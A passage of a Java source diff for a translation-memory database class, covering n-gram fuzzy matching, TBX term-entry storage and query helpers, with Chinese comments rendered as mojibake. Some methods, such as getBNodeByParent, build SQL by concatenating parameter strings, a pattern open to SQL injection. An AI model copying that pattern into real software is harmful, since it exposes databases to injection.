    + * Key SRCLANG æºè¯­è¨€ä»£ç 
    + * Key SRCTEXT æºè¯­è¨€æ–‡æœ¬ï¼Œä¸å¸¦æ ‡è®°ã€‚
    + * Key SRCCONTENT æºè¯­è¨€å†…容,带标记。
    + * Key SRCCREATIONID æºèŠ‚点创建者ID。
    + * Key SRCCREATIONDATE æºèŠ‚点创建时间。
    + * Key SRCCHANGEID æºèŠ‚点修改者ID。
    + * Key SRCCHANGEDATE æºèŠ‚点修改时间。
    + * Key SRCPROJECTREF æºèŠ‚点项目å‚考信æ¯å±žæ€§ã€‚
    + * Key SRCJOBREF æºèŠ‚点任务å‚考信æ¯å±žæ€§ã€‚
    + * Key SRCCLIENT æºèŠ‚点客户å‚考信æ¯å±žæ€§ã€‚
    + * Key TGTLANG 目标语言代ç 
    + * Key TGTTEXT 目标语言文本,ä¸å¸¦æ ‡è®°ã€‚
    + * Key TGTCONTENT 目标语言内容,带标记。
    + * Key TGTCREATIONID 目标节点创建者ID。
    + * Key TGTCREATIONDATE 目标节点创建者时间
    + * Key TGTCHANGEID 目标节点修改者ID。
    + * Key TGTCHANGEDATE 目标节点修å¤æ—¶é—´ã€‚
    + * Key TGTPROJECTREF 目标节点项目å‚考信æ¯å±žæ€§ã€‚
    + * Key TGTJOBREF 目标节点任务å‚考信æ¯å±žæ€§ã€‚。
    + * Key TGTCLIENT 目标节点客户å‚考信æ¯å±žæ€§ã€‚
    + * Key SIMILARITY 匹é…率。
    + * 若无匹é…,返回 null。 + * @throws SQLException + */ + public Vector> findMatch(String srcText, String srcContent, String srcLang, + String tgtLang, boolean caseSensitive, int minSimilarity, int matchUpperLimit, int tagPenalty, + boolean isSinglePenalty, boolean overwritePerfectMatch) throws SQLException { + // TODO 需添加实现。请å‚考 R7 业务逻辑代ç ã€‚若具体数æ®åº“实现的代ç éœ€é‡å†™ï¼Œè¯·åˆ°å…·ä½“实现类中实现或是é‡å†™ã€‚ + + return null; + } + + /** + * 查找指定正则表达å¼ç›¸åº”语言的匹é…,并且支æŒåˆ†é¡µä¸ŽæŒ‡å®šå­—段和规则的排åºã€‚ + * @param strLangs + * 指定的语言,出于效率和资æºå ç”¨å› ç´ è€ƒé‡ï¼Œä¸åº”指定超过三ç§è¯­è¨€ï¼Œå…¶ä¸­æºè¯­è¨€åº”为第一个元素。 + * @param strRegex + * 指定的正则表达å¼ã€‚ + * @param strMatchField + * 指定正则表达å¼éœ€åŒ¹é…的字段。该字段应为 SQL 语å¥ä¸­æŸ¥è¯¢åˆ—表中存在的字段或别å。若使用字段且存在多表连接时应指定表别å。 + * @param strOrderField + * 指定查询排åºçš„字段。å–值规则åŒæŒ‡å®šçš„匹é…字段。 + * @param strOrderRule + * 指定排åºè§„则。å–值固定为 ASC 或 DESC。默认为 DESC。 + * @param minSimilarity + * 最å°åŒ¹é…率。为百分比值。如 30%,则å–值 30. + * @param matchUpperLimit + * 匹é…个数上é™ã€‚ + * @param tagPenalty + * 错误标记罚分标准 + * @param isSinglePenalty + * 罚分策略。Yes,则æ¯ä¸ªé”™è¯¯éƒ½è¦æ‰£ä¸€æ¬¡åˆ†ã€‚No,则所有错误都åªæ‰£ä¸€æ¬¡åˆ†ã€‚ + * @param overwritePerfectMatch + * 在匹é…率为 100% 的完美匹é…超过多个时,是å¦é€šè¿‡è¦†ç›–策略仅ä¿ç•™ä¸€ä¸ªã€‚ + * @return Vector 返回匹é…ä¿¡æ¯ã€‚
    + * æ¯æ¡æœ¯è¯­ä¿¡æ¯ä½¿ç”¨ä¸€ä¸ª Hashable ä¿å­˜ã€‚分别包括如下键值信æ¯:
    + * Key TUID 翻译å•å…ƒID
    + * Key SRCLANG æºè¯­è¨€ä»£ç 
    + * Key SRCTEXT æºè¯­è¨€æ–‡æœ¬ï¼Œä¸å¸¦æ ‡è®°ã€‚
    + * Key SRCCONTENT æºè¯­è¨€å†…容,带标记。
    + * Key SRCCREATIONID æºèŠ‚点创建者ID。
    + * Key SRCCREATIONDATE æºèŠ‚点创建时间。
    + * Key SRCCHANGEID æºèŠ‚点修改者ID。
    + * Key SRCCHANGEDATE æºèŠ‚点修改时间。
    + * Key SRCPROJECTREF æºèŠ‚点项目å‚考信æ¯å±žæ€§ã€‚
    + * Key SRCJOBREF æºèŠ‚点任务å‚考信æ¯å±žæ€§ã€‚
    + * Key TGTLANG 目标语言代ç 
    + * Key TGTTEXT 目标语言文本,ä¸å¸¦æ ‡è®°ã€‚
    + * Key TGTCONTENT 目标语言内容,带标记。
    + * Key TGTCREATIONID 目标节点创建者ID。
    + * Key TGTCREATIONDATE 目标节点创建者时间
    + * Key TGTCHANGEID 目标节点修改者ID。
    + * Key TGTCHANGEDATE 目标节点修å¤æ—¶é—´ã€‚
    + * Key TGTPROJECTREF 目标节点项目å‚考信æ¯å±žæ€§ã€‚
    + * Key TGTJOBREF 目标节点任务å‚考信æ¯å±žæ€§ã€‚。
    + * Key SIMILARITY 匹é…率。
    + * 若无匹é…,返回 null。 + */ + public Vector> findMatchByRegex(String[] strLangs, String strRegex, String strMatchField, + String strOrderField, String strOrderRule, int iMaxRow, int iMinRow, int iDBIndexOffset) { + // TODO 需添加实现。请å‚考 R7 业务逻辑代ç ã€‚若具体数æ®åº“实现的代ç éœ€é‡å†™ï¼Œè¯·åˆ°å…·ä½“实现类中实现或是é‡å†™ã€‚ + + return null; + } + + /** + * 查找指定文本相应语言高于最低匹é…率的匹é…ä¿¡æ¯ï¼Œç”¨äºŽå¿«é€Ÿç¿»è¯‘算法,与查找匹é…系列方法相比较,其返回值较少。 + * @param srcText + * 指定的æºæ–‡æœ¬ã€‚ + * @param srcLang + * æºè¯­è¨€ä»£ç ã€‚ + * @param tgtLang + * 目标语言代ç ã€‚ + * @param caseSensitive + * 是å¦åŒºåˆ†å¤§å°å†™ã€‚ + * @param minSimilarity + * 最å°åŒ¹é…率。为百分比值。如 30%,则å–值 30. + * @return Vector 返回匹é…ä¿¡æ¯ã€‚
    + * æ¯æ¡æœ¯è¯­ä¿¡æ¯ä½¿ç”¨ä¸€ä¸ª Hashable ä¿å­˜ã€‚分别包括如下键值信æ¯:
    + * Key TUID 翻译å•å…ƒID
    + * Key SRCLANG æºè¯­è¨€ä»£ç 
    + * Key SRCTEXT æºè¯­è¨€æ–‡æœ¬ï¼Œä¸å¸¦æ ‡è®°ã€‚
    + * Key TGTLANG 目标语言代ç 
    + * Key TGTTEXT 目标语言文本,ä¸å¸¦æ ‡è®°ã€‚
    + * Key SIMILARITY 匹é…率。
    + * 若无匹é…,返回 null。 + * @throws SQLException + */ + public Vector> findMatch4QT(String srcText, String srcLang, String tgtLang, + int minSimilarity, boolean caseSensitive) throws SQLException { + // TODO 需添加实现。请å‚考 R7 业务逻辑代ç ã€‚若具体数æ®åº“实现的代ç éœ€é‡å†™ï¼Œè¯·åˆ°å…·ä½“实现类中实现或是é‡å†™ã€‚ + + return null; + } + + /** + * æ ¹æ®èŠ‚点的纯文本获å–对应的术语 robert 2011-12-22 + * @param srcPureText + * æºèŠ‚点的纯文本 + * @param srcLang + * æºè¯­è¨€ + * @param tarLang + * 目标语言 + * @return + * @throws SQLException + */ + public Vector> findAllTermsByText(String srcPureText, String srcLang, String tarLang) + throws SQLException { + return null; + } + + /** + * 通过SQLå’Œå‚数拼装SQL并执行查询 + * @param querySql + * SQLè¯­å¥ + * @param params + * å‚æ•°,å’ŒSQL中对应的 + * @return keyè¡Œå·,value map<列å,值> + * @throws SQLException + * ; + */ + Map> data = new LinkedHashMap>(); + + protected Map> query(String querySql, Object[] params) throws SQLException { + data.clear(); + PreparedStatement psmt = null; + ResultSet rt = null; + try { + if (null == conn) { + return data; + } + psmt = conn.prepareStatement(querySql); + + for (int i = 0; i < params.length; i++) { + setParameter(psmt, i + 1, params[i]); + } + + rt = psmt.executeQuery(); + ResultSetMetaData meta = rt.getMetaData(); + int cols = meta.getColumnCount(); + int rowIndex = 0; + while (rt.next()) { + Map rowData = new HashMap(); + for (int i = 1; i <= cols; i++) { + rowData.put(meta.getColumnLabel(i).toUpperCase(), rt.getString(i)); + } + data.put(rowIndex++, rowData); + } + } finally { + if (rt != null) { + rt.close(); + } + if (psmt != null) { + psmt.close(); + } + } + return data; + + } + + /** + * 通过å‚数构建SQL + * @param psmt + * @param paramIndex + * @param param + * ; + */ + protected void setParameter(PreparedStatement psmt, int paramIndex, Object param) { + try { + if (param instanceof String) { + psmt.setString(paramIndex, (String) param); + } else if (param instanceof Integer) { + psmt.setInt(paramIndex, (Integer) param); + } else if (param instanceof Long) { + psmt.setLong(paramIndex, (Long) param); + } else if (param instanceof Float) { + psmt.setFloat(paramIndex, (Float) param); + } else if (param instanceof Double) { + psmt.setDouble(paramIndex, (Double) param); + } else if (param instanceof Timestamp) { + psmt.setTimestamp(paramIndex, (Timestamp) param); + } else if (param instanceof Date) { + psmt.setTimestamp(paramIndex, new Timestamp(((Date) param).getTime())); + } else if (null == param) { + psmt.setNull(paramIndex, 0); + } + } catch (SQLException e) { + LOGGER.error("", e); + } + } + + // TODO ================tbx(开始)================== + /** + * 写MartifHeader节点内容 + * @param hContent + * 整个节点的内容 + * @param hIdAttr + * MartifHeader节点的ID属性; + * @return + * @throws SQLException + */ + public int insertBMartifHeader(String hContent, String hIdAttr) throws SQLException { + PreparedStatement stmt = null; + try { + String sql = dbConfig.getOperateDbSQL("insert-bmartifheader"); + stmt = conn.prepareStatement(sql, Statement.RETURN_GENERATED_KEYS); + stmt.setString(1, hIdAttr); + stmt.setString(2, hContent); + stmt.execute(); + ResultSet rs = stmt.getGeneratedKeys(); + if (rs.next()) { + return rs.getInt(1); + } + } finally { + if (stmt != null) { + stmt.close(); + } + } + return 0; + } + + /** + * 写BAttribute的内容 + * @param attrs + * @param parentName + * @param parentId + * @throws SQLException + * ; + */ + public void insertBAttribute(Map attrs, String parentName, int parentId) throws SQLException { + if (attrs != null) { + PreparedStatement stmt = null; + String sql = dbConfig.getOperateDbSQL("insert-battribute"); + Iterator> iter = attrs.entrySet().iterator(); + try { + while (iter.hasNext()) { + Entry entry = iter.next(); + String attrName = entry.getKey(); + String attrValue = entry.getValue(); + stmt = conn.prepareStatement(sql); + stmt.setInt(1, parentId); + stmt.setString(2, attrName); + stmt.setString(3, attrValue); + stmt.setString(4, parentName); + stmt.addBatch(); + } + stmt.executeBatch(); + stmt.clearBatch(); + } finally { + if (stmt != null) { + stmt.close(); + } + } + } + } + + /** + * 写BRefObjectList内容 + * @param roblContent + * @param roblIdAttr + * @param headerId + * @return + * @throws SQLException + * ; + */ + public int insertBRefobjectlist(String roblContent, String roblIdAttr, int headerId) throws SQLException { + PreparedStatement stmt = null; + try { + String sql = dbConfig.getOperateDbSQL("insert-brefobjectlist"); + stmt = conn.prepareStatement(sql); + stmt.setInt(1, headerId); + stmt.setString(2, roblIdAttr); + stmt.setString(3, roblContent); + stmt.execute(); + } finally { + if (stmt != null) { + stmt.close(); + } + } + return 0; + } + + /** + * 写TermEntry内容 + * @param teContent + * @param teIdAttr + * @param headerId + * @return + * @throws SQLException + * ; + */ + public int insertBTermentry(String teContent, String teIdAttr, int headerId) throws SQLException { + PreparedStatement stmt = null; + try { + String sql = dbConfig.getOperateDbSQL("insert-btermentry"); + stmt = conn.prepareStatement(sql, Statement.RETURN_GENERATED_KEYS); + stmt.setInt(1, headerId); + stmt.setString(2, teIdAttr); + stmt.setString(3, teContent); + stmt.execute(); + ResultSet rs = stmt.getGeneratedKeys(); + if (rs.next()) { + return rs.getInt(1); + } + } finally { + if (stmt != null) { + stmt.close(); + } + } + return 0; + } + + public void insertBNode(int pPk, String pName, String nType, String nName, String nId, String content) + throws SQLException { + PreparedStatement stmt = null; + try { + // INSERT INTO BNODE + // (PARENTPKID, PARENTNAME, NTYPE, NNAME, NID, CONTENT) + // VALUES (?, ?, ?, ?, ?, ?) + String sql = dbConfig.getOperateDbSQL("insert-bnote"); + stmt = conn.prepareStatement(sql); + stmt.setInt(1, pPk); + stmt.setString(2, pName); + stmt.setString(3, nType); + stmt.setString(4, nName); + stmt.setString(5, nId); + stmt.setString(6, content); + stmt.execute(); + } finally { + if (stmt != null) { + stmt.close(); + } + } + + } + + public void deleteBNode(List nPk) throws SQLException { + if (nPk == null || nPk.size() == 0) { + return; + } + PreparedStatement stmt = null; + try { + String sql = dbConfig.getOperateDbSQL("delete-bnode-bypk"); + stmt = conn.prepareStatement(sql); + for (String pk : nPk) { + stmt.setInt(1, Integer.parseInt(pk)); + stmt.addBatch(); + } + stmt.executeBatch(); + } finally { + if (stmt != null) { + stmt.close(); + } + } + } + + /** + * æ ¹æ®çˆ¶ä¿¡æ¯èŽ·å–扩展节点或者属性 + * @param pPk + * 父主键 必须的 + * @param pName + * 父节点å称 can be null + * @param nType + * 节点类型 "E","A" or null + * @param nName + * 节点å称 "E"=节点å称 "A"=属性å + * @param nId + * 对节点有效,存储节点的id属性值 + * @return + * @throws SQLException + * ; + */ + public List> getBNodeByParent(String pPk, String pName, String nType, String nName, String nId) + throws SQLException { + List> result = new ArrayList>(); + Statement stmt = null; + ResultSet rs = null; + try { + String sql = dbConfig.getOperateDbSQL("getBnode-byParent"); + + StringBuffer bf = new StringBuffer(); + if (pPk == null || pPk.equals("")) { + return result; + } + bf.append(" AND PARENTPKID = ").append(pPk); + if (pName != null) { + bf.append(" AND PARENTNAME='").append(pName).append("'"); + } + if (nType != null) { + bf.append(" AND NTYPE = '").append(nType).append("'"); + } + if (nName != null) { + bf.append(" AND NNAME='").append(nName).append("'"); + } + if (nId != null) { + bf.append(" AND NID='").append(nId).append("'"); + } + sql = sql.replace("__WHERE__", bf.toString()); + + stmt = conn.createStatement(); + + rs = stmt.executeQuery(sql); + ResultSetMetaData meta = rs.getMetaData(); + int cols = meta.getColumnCount(); + while (rs.next()) { + Map rowData = new HashMap(); + for (int i = 1; i <= cols; i++) { + rowData.put(meta.getColumnName(i).toUpperCase(), rs.getString(i)); + } + result.add(rowData); + } + } finally { + if (stmt != null) { + stmt.close(); + } + if (rs != null) { + rs.close(); + } + } + return result; + } + + /** + * 通过主键获集å–BTERMENTRY表中的对应的全部记录 + * @param pks + * BTERMENTRY表的主键集 + * @return + * @throws SQLException + * ; + */ + public List> getBTermEntryByPk(List pks) throws SQLException { + List> result = new ArrayList>(); + PreparedStatement stmt = null; + ResultSet rs = null; + try { + String sql = dbConfig.getOperateDbSQL("getTermEntrys-bypks"); + String sqlResult = sql; + for (int i = 1; i < pks.size(); i++) { + sqlResult += " UNION " + sql; + } + stmt = conn.prepareStatement(sqlResult); + + for (int i = 0; i < pks.size(); i++) { + stmt.setInt(i + 1, Integer.parseInt(pks.get(i))); + } + + rs = stmt.executeQuery(); + ResultSetMetaData meta = rs.getMetaData(); + int cols = meta.getColumnCount(); + while (rs.next()) { + Map rowData = new HashMap(); + for (int i = 1; i <= cols; i++) { + rowData.put(meta.getColumnName(i).toUpperCase(), rs.getString(i)); + } + result.add(rowData); + } + } finally { + if (stmt != null) { + stmt.close(); + } + if (rs != null) { + rs.close(); + } + } + return result; + } + + /** + * 通过BTERMENTRY表的主键获å–该TermEntry的内容 + * @param termEntrypk + * @return TermEntry节点的完整内容; + * @throws SQLException + */ + public String getTermEntryContentByPk(Integer termEntrypk) throws SQLException { + String result = ""; + PreparedStatement stmt = null; + ResultSet rs = null; + try { + String sql = dbConfig.getOperateDbSQL("getTermEntryContent-bypk"); + stmt = conn.prepareStatement(sql); + stmt.setInt(1, termEntrypk); + rs = stmt.executeQuery(); + if (rs.next()) { + return result = rs.getString(1); + } + } finally { + if (stmt != null) { + stmt.close(); + } + if (rs != null) { + rs.close(); + } + } + return result; + } + + /** + * 通过TextData表中的记录主键,获å–它的所在组的主键,å³èŽ·å–TermEntry表中的对应的主键 + * @param textDataId + * 一组TextData表中的主键 + * @return BTERMENTRY表中的主键 + * @throws SQLException + * ; + */ + public List getTextDataGroupIdByTextId(List textDataId) throws SQLException { + List groupIds = new ArrayList(); + PreparedStatement stmt = null; + ResultSet rs = null; + try { + String sql = dbConfig.getOperateDbSQL("get-textdatagroupid-bytextid"); + String sqlResult = sql; + for (int i = 1; i < textDataId.size(); i++) { + sqlResult += " UNION " + sql; + } + stmt = conn.prepareStatement(sqlResult); + + for (int i = 0; i < textDataId.size(); i++) { + stmt.setInt(i + 1, Integer.parseInt(textDataId.get(i))); + } + rs = stmt.executeQuery(); + while (rs.next()) { + groupIds.add(rs.getString(1)); + } + } finally { + if (stmt != null) { + stmt.close(); + } + if (rs != null) { + rs.close(); + } + } + return groupIds; + } + + /** + * æ›´æ–°Term Entry表中的记录 + * @param content + * 更新的内容 + * @param pk + * 主键 + * @throws SQLException + * ; + */ + public void updateTermEntry(String content, String pk) throws SQLException { + PreparedStatement pstmt = null; + try { + String sql = dbConfig.getOperateDbSQL("upateTermEntry-bypk"); + pstmt = conn.prepareStatement(sql); + pstmt.setString(1, content); + pstmt.setInt(2, Integer.parseInt(pk)); + pstmt.executeUpdate(); + } finally { + if (pstmt != null) { + pstmt.close(); + } + } + } + + /** + * 删除TermEntry,删除BTERMENTRY表中的记录 + * @param termEntryId + * Term Entry在表中的主键 + * @param lang + * 语言 + * @throws SQLException + * ; + */ + public void deleteTerm(String termEntryId, String lang) throws SQLException { + PreparedStatement stmt = null; + try { + // 删除martrix_lang表中的记录 + List textDataPk = getTextDataIdByGroupIdLang(Integer.parseInt(termEntryId), "B", lang); + if (textDataPk.size() == 0) { + return; + } + String set = textDataPk.get(0).getDbPk() + ""; + for (int i = 1; i < textDataPk.size(); i++) { + set = set + "," + textDataPk.get(i).getDbPk(); + } + deleteMatrxLang(set, lang); + + // 删除TextData表中的记录 + String sql = dbConfig.getOperateDbSQL("delete-textData-bygoupid"); + stmt = conn.prepareStatement(sql); + stmt.setInt(1, Integer.parseInt(termEntryId)); + stmt.setString(2, lang); + stmt.executeUpdate(); + } finally { + if (stmt != null) { + stmt.close(); + } + } + } + + // TODO =====================================================tbx(结æŸ)============================ + + /** + * å–å¾—æ•°æ®åº“中所有的语言 + * @return ; + * @throws SQLException + */ + public List getLanguages() throws SQLException { + PreparedStatement stmt = null; + ResultSet rs = null; + List result = new ArrayList(); + try { + String getLangCount = dbConfig.getOperateDbSQL("get-langs"); + stmt = conn.prepareStatement(getLangCount); + rs = stmt.executeQuery(); + while (rs.next()) { + result.add(rs.getString(1)); + } + } finally { + if (stmt != null) { + stmt.close(); + } + if (rs != null) { + rs.close(); + } + } + return result; + } + + /** + * 通过æºæ–‡æœ¬ä»Žæ•°æ®åº“MATRIX_Lang表中查找TextData记录 + * @param srcLang + * æºæ–‡æœ¬è¯­è¨€ + * @param similarity + * 相似率 + * @param srcPureText + * æºæ–‡æœ¬çº¯æ–‡æœ¬å†…容 + * @return 如果没有查找到返回null,å¦åˆ™è¿”回一组 + * @throws SQLException + * ; + */ + protected Map getCandidatesTextDataPks(String srcLang, int minNgramSize, int maxNgramSize, + int[] ngrams) throws SQLException { + Map result = new HashMap(); + if (!this.langCaches.contains(srcLang)) { + if (!hasLangInDB(srcLang)) { + return result; + } + langCaches.add(srcLang); + } + + String set = "" + ngrams[0]; + for (int i = 1; i < ngrams.length; i++) { + set = set + "," + ngrams[i]; + } + String select = dbConfig.getMatrixSQL("search"); + select = select.replaceAll("__SET__", set); + select = select.replaceAll("__LANG__", srcLang.replace("-", "").toUpperCase()); + PreparedStatement stmt = null; + ResultSet rs = null; + try { + stmt = conn.prepareStatement(select); + stmt.setInt(1, minNgramSize); + stmt.setInt(2, maxNgramSize); + rs = stmt.executeQuery(); + while (rs.next()) { + String tpkId = rs.getString(1); + if (result.containsKey(tpkId)) { + int c = 1 + result.get(tpkId); + result.put(tpkId, c); + } else { + result.put(tpkId, 1); + } + } + } finally { + if (stmt != null) { + stmt.close(); + } + if (rs != null) { + rs.close(); + } + } + return result; + } + + // TODO ======================匹é…相关(开始) ======================// + + /** + * 将文本内容生æˆæ–‡æœ¬ç‰‡æ®µ + * @param srcLang + * @param text + * @return ; + */ + protected int[] generateNgrams(String srcLang, String text) { + boolean asian = srcLang.startsWith("zh") || srcLang.startsWith("ja") || srcLang.startsWith("ko") + || srcLang.startsWith("th") || srcLang.startsWith("he"); + int[] ngrams = NGrams.getNGrams(text, asian); + return ngrams; + } + + /** + * 通过æºæ–‡æœ¬çš„纯文本内容查找匹é…
    + * 需è¦å¤„ç†çš„业务逻辑:通过从库中的查找结果计算匹é…率;åŒæ—¶éœ€è¦é€šè¿‡æœ€å¤§ä¸Šé™æ¥é™åˆ¶è¿”回最的果集中的记录数
    + * 返回的结果中按匹é…率从高到低ä¾æ¬¡æŽ’åº + * @param puretext + * æºæ–‡æœ¬çº¯æ–‡æœ¬ + * @param srcLang + * æºè¯­è¨€ + * @param tgtLang + * 目标语言 + * @param minSimilarity + * 最低匹é…率 + * @param caseSensitive + * 是å¦éœ€è¦å…³å¿ƒå¤§å°å†™ + * @param matchUpperLimit + * 匹é…ä¸Šé™ + * @param contextSize + * 上下文个数 + * @param preHash + * 上文 + * @param nextHash + * 下文 + * @return Vector 返回匹é…ä¿¡æ¯ã€‚
    + * æ¯æ¡æœ¯è¯­ä¿¡æ¯ä½¿ç”¨ä¸€ä¸ª Hashable ä¿å­˜ã€‚分别包括如下键值信æ¯:
    + * Key tuId 翻译å•å…ƒID
    + * Key srcLang æºè¯­è¨€ä»£ç 
    + * Key srcText æºè¯­è¨€æ–‡æœ¬ï¼Œä¸å¸¦æ ‡è®°ã€‚
    + * Key srcContent æºè¯­è¨€å†…容,带标记。
    + * Key srcCreationId æºèŠ‚点创建者ID。
    + * Key srcCreationDate æºèŠ‚点创建时间。
    + * Key srcChangeId æºèŠ‚点修改者ID。
    + * Key srcChangeDate æºèŠ‚点修改时间。
    + * Key srcProjectRef æºèŠ‚点项目å‚考信æ¯å±žæ€§ã€‚
    + * Key srcJobRef æºèŠ‚点任务å‚考信æ¯å±žæ€§ã€‚
    + * Key srcClient æºèŠ‚点客户å‚考信æ¯å±žæ€§ã€‚
    + * Key tgtLang 目标语言代ç 
    + * Key tgtText 目标语言文本,ä¸å¸¦æ ‡è®°ã€‚
    + * Key tgtContent 目标语言内容,带标记。
    + * Key tgtCreationId 目标节点创建者ID。
    + * Key tgtCreationDate 目标节点创建者时间
    + * Key tgtChangeId 目标节点修改者ID。
    + * Key tgtChangeDate 目标节点修改时间。
    + * Key tgtProjectRef 目标节点项目å‚考信æ¯å±žæ€§ã€‚
    + * Key tgtJobRef 目标节点任务å‚考信æ¯å±žæ€§ã€‚。
    + * Key tgtClient 目标节点客户å‚考信æ¯å±žæ€§ã€‚
    + * Key similarity 本æ¡åŒ¹é…的匹é…率。
    + * 若无匹é…,返回一个size为0çš„Vector; + * @throws SQLException + */ + public Vector> findMatch(String puretext, String srcLang, String tgtLang, + int minSimilarity, boolean caseSensitive, int matchUpperLimit, int contextSize, String preHash, + String nextHash) throws SQLException { + // TODO在计算匹é…率时,å¯èƒ½éœ€è¦åŠ å…¥ç½šåˆ†ç­–略。 + return null; + } + + public Vector> findMatch_1(String text, String fullText, String srcLang, String tgtLang, + int minSimilarity, boolean caseSensitive, int matchUpperLimit, int contextSize, String preHash, + String nextHash, boolean isIngoreTarget) throws SQLException { + Vector> result = new Vector>(); + this.commit(); + int[] ngrams = generateNgrams(srcLang, text); + int size = ngrams.length; + if (size == 0) { + return result; + } + // long l1 = System.currentTimeMillis(); + int min = size * minSimilarity / 100; + int max = size * 100 / minSimilarity; + Map tpkids = getCandidatesTextDataPks(srcLang, min, max, ngrams); + // System.out.println("查MATEX_LANG表:"+(System.currentTimeMillis() - l1)); + // 构建SQL + Iterator> it = tpkids.entrySet().iterator(); + StringBuffer bf = new StringBuffer(); + // long l = System.currentTimeMillis(); + while (it.hasNext()) { + Entry entry = it.next(); + String tpkid = entry.getKey(); + float c = entry.getValue(); + if (c >= min && c <= max) { + bf.append(","); + bf.append(tpkid); + } + } + if (bf.toString().equals("")) { + return result; + } + String textDataSql = dbConfig.getOperateDbSQL("getTMMatch1"); + textDataSql = textDataSql.replace("__SET__", bf.toString().substring(1)); + PreparedStatement stmt = conn.prepareStatement(textDataSql); + stmt.setString(1, srcLang); + stmt.setString(2, tgtLang); + // System.out.println(stmt); + ResultSet rs = stmt.executeQuery(); + Map> tuSrc = new HashMap>(); + Map> tuTgt = new HashMap>(); + while (rs.next()) { + Integer groupId = rs.getInt("GROUPID"); + String lang = rs.getString("LANG"); + String pureText = rs.getString("PURE"); + String content = rs.getString("CONTENT"); + + String creationId = rs.getString("CREATIONID"); + creationId = creationId == null ? "" : creationId; + + String creationDate = ""; + Timestamp tempCdate = rs.getTimestamp("CREATIONDATE"); + if (tempCdate != null) { + creationDate = DateUtils.formatToUTC(tempCdate.getTime()); + } + + String changeDate = ""; + Timestamp tempChangeDate = rs.getTimestamp("CHANGEDATE"); + if (tempChangeDate != null) { + changeDate = DateUtils.formatToUTC(tempChangeDate.getTime()); + } + + String changeid = rs.getString("CHANGEID"); + changeid = changeid == null ? "" : changeid; + + String projectRef = rs.getString("PROJECTREF"); + projectRef = projectRef == null ? "" : projectRef; + + String jobRef = rs.getString("JOBREF"); + jobRef = jobRef == null ? "" : jobRef; + + String client = rs.getString("CLIENT"); + client = client == null ? "" : client; + + if (lang.equalsIgnoreCase(srcLang)) { + int distance; + if (caseSensitive) { + if (isIngoreTarget) { + distance = similarity(text, pureText); + } else { + distance = similarity(fullText, content); + } + } else { + if (isIngoreTarget) { + distance = similarity(text.toLowerCase(), pureText.toLowerCase()); + } else { + distance = similarity(fullText.toLowerCase(), content.toLowerCase()); + } + } + + if (distance == 100 && CommonFunction.checkEdition("U")) { + String preContext = rs.getString("PRECONTEXT"); + String nextContext = rs.getString("NEXTCONTEXT"); + if (preContext != null && nextContext != null) { + String[] preContexts = preContext.split(","); + String[] nextContexts = nextContext.split(","); + if (preContexts.length > contextSize) { + preContext = ""; //$NON-NLS-1$ + for (int i = 0; i < contextSize; i++) { + preContext += "," + preContexts[i]; //$NON-NLS-1$ + } + if (!"".equals(preContext)) { //$NON-NLS-1$ + preContext = preContext.substring(1); + } + } + + if (nextContexts.length > contextSize) { + nextContext = ""; //$NON-NLS-1$ + for (int i = 0; i < contextSize; i++) { + nextContext += "," + nextContexts[i]; //$NON-NLS-1$ + } + if (!"".equals(nextContext)) { //$NON-NLS-1$ + nextContext = nextContext.substring(1); + } + } + + if (preHash.equals(preContext) && nextHash.equals(nextContext)) { + distance = 101; + } + } + } + + if (distance >= minSimilarity) { + Map srcMap = new HashMap(); + srcMap.put("srcLang", srcLang); + srcMap.put("srcText", pureText); + srcMap.put("srcContent", content); + srcMap.put("srcCreationId", creationId); + srcMap.put("srcCreationDate", creationDate); + srcMap.put("srcChangeId", changeid); + srcMap.put("srcChangeDate", changeDate); + srcMap.put("srcProjectRef", projectRef); + srcMap.put("srcJobRef", jobRef); + srcMap.put("srcClient", client); + srcMap.put("similarity", distance + ""); + tuSrc.put(groupId, srcMap); + } + } + if (lang.equalsIgnoreCase(tgtLang)) { + Map tgtMap = new HashMap(); + tgtMap.put("tgtLang", tgtLang); + tgtMap.put("tgtText", pureText); + tgtMap.put("tgtContent", content); + tgtMap.put("tgtCreationId", creationId); + tgtMap.put("tgtCreationDate", creationDate); + tgtMap.put("tgtChangeId", changeid); + tgtMap.put("tgtChangeDate", changeDate); + tgtMap.put("tgtProjectRef", projectRef); + tgtMap.put("tgtJobRef", jobRef); + tgtMap.put("tgtClient", client); + tuTgt.put(groupId, tgtMap); + } + } + if (stmt != null) { + stmt.close(); + } + if (rs != null) { + rs.close(); + } + String dbName = getMetaData().getDatabaseName(); + if (tuSrc.size() > 0) { + Iterator>> itr = tuSrc.entrySet().iterator(); + while (itr.hasNext()) { + Entry> entry = itr.next(); + Integer key = entry.getKey(); + Map srcMap = entry.getValue(); + Map tgtMap = tuTgt.get(key); + if (tgtMap == null) { + continue; + } + Hashtable tu = new Hashtable(); + tu.putAll(srcMap); + tu.putAll(tgtMap); + if (!isDuplicated(result, tu)) { + tu.put("tupkid", key + ""); + tu.put("dbName", dbName); // 应用于origin属性 + result.add(tu); + } + } + } + + int resultSize = result.size(); + if (resultSize > 1) { + Collections.sort(result, new FindMatchComparator()); + } + + while (resultSize > matchUpperLimit) { + resultSize--; + result.remove(resultSize); + } + // System.out.println("查TEXTDATA表:"+(System.currentTimeMillis() - l)); + // System.out.println(bf.toString()); + return result; + } + + public void fuzzySearch(String pureText, String fullText, String srcLang, String tgtLang, int minSimilarity, + boolean caseSensitive, int matchUpperLimit, int contextSize, String preHash, String nextHash, + boolean isIngoreTarget, FuzzySearchResults searchResults, int tagPelanty) throws SQLException { + + int[] ngrams = generateNgrams(srcLang, pureText); + int size = ngrams.length; + if (size == 0) { + return; + } + this.commit(); + // long l1 = System.currentTimeMillis(); + int min = size * minSimilarity / 100; + int max = size * 100 / minSimilarity; + Map tpkids = getCandidatesTextDataPks(srcLang, min, max, ngrams); + // System.out.println("查MATEX_LANG表:"+(System.currentTimeMillis() - l1)); + // 构建SQL + Iterator> it = tpkids.entrySet().iterator(); + StringBuffer bf = new StringBuffer(); + // long l = System.currentTimeMillis(); + while (it.hasNext()) { + Entry entry = it.next(); + String tpkid = entry.getKey(); + float c = entry.getValue(); + if (c >= min && c <= max) { + bf.append(","); + bf.append(tpkid); + } + } + if (bf.toString().equals("")) { + return; + } + String tag = TranslationMemoryTools.getInnerTagContent(fullText); + // SELECT TPKID, GROUPID, PURE, CONTENT, PRECONTEXT, NEXTCONTEXT FROM TEXTDATA WHERE TPKID IN (__SET__) ORDER BY + // GROUPID DESC + String textDataSql = dbConfig.getOperateDbSQL("fuzzySearch"); + textDataSql = textDataSql.replace("__SET__", bf.toString().substring(1)); + Statement stm = 